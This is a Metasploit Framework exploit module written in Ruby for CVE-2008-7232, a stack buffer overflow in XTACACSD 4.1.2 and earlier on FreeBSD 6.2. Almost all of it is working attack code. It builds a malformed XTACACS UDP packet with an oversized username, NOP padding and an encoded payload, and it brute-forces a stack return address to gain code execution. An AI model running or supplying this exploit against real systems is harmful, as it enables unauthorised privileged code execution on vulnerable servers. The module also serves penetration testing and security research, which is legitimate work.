Metasploit Framework

##

# $Id$

##

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

        Rank = AverageRanking

        include Msf::Exploit::Remote::Udp

        include Msf::Exploit::Brute

        def initialize(info = {})

                super(update_info(info,

                        'Name'           => 'XTACACSD <= 4.1.2 report() Buffer Overflow',

                        'Description'    => %q{

                                        This module exploits a stack buffer overflow in XTACACSD <= 4.1.2. By

                                sending a specially crafted XTACACS packet with an overly long

                                username, an attacker may be able to execute arbitrary code.

                        },

                        'Author'         => 'MC',

                        'Version'        => '$Revision$',

                        'References'     =>

                                [

                                        ['CVE', '2008-7232'],

                                        ['OSVDB', '58140'],

                                        ['URL', 'http://aluigi.altervista.org/adv/xtacacsdz-adv.txt'],

                                ],

                        'Payload'        =>

                                {

                                        'Space'    => 175,

                                        'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20",

                                        'StackAdjustment' => -3500,

                                        'PrependEncoder' => "\x83\xec\x7f",

                                        'DisableNops'   =>  'True',

                                },

                        'Platform'       => 'BSD',

                        'Arch'           => ARCH_X86,

                        'Targets'        =>

                                [

                                        ['FreeBSD 6.2-Release Bruteforce',

                                                {'Bruteforce' =>

                                                        {

                                                                'Start' => { 'Ret' => 0xbfbfea00 },

                                                                'Stop'  => { 'Ret' => 0xbfbfef00 },

                                                                'Step'  => 24,

                                                        }

                                                },

                                        ],

                                ],

                        'Privileged'     => true,

                        'DefaultTarget'  => 0,

                        'DisclosureDate' => 'Jan 8 2008'))

                register_options([Opt::RPORT(49)], self.class)

        end

        def brute_exploit(address)

                connect_udp

                sploit =  "\x80" # Version

                sploit << "\x05" # Type: Connect

                sploit << "\xff\xff" # Nonce

                sploit << "\xff" # Username length

                sploit << "\x00" # Password length

                sploit << "\x00" # Response

                sploit << "\x00" # Reason

                sploit << "\xff\xff\xff\xff" # Result 1

                sploit << "\xff\xff\xff\xff" # Destination address

                sploit << "\xff\xff" # Destination port

                sploit << "\xff\xff" # Line

                sploit << "\x00\x00\x00\x00" # Result 2

                sploit << "\x00\x00" # Result 3

                sploit << make_nops(238 - payload.encoded.length)

                sploit << payload.encoded + [address['Ret']].pack('V')

                print_status("Trying target #{target.name} #{"%.8x" % address['Ret']}...")

                udp_sock.put(sploit)

                disconnect_udp

        end

end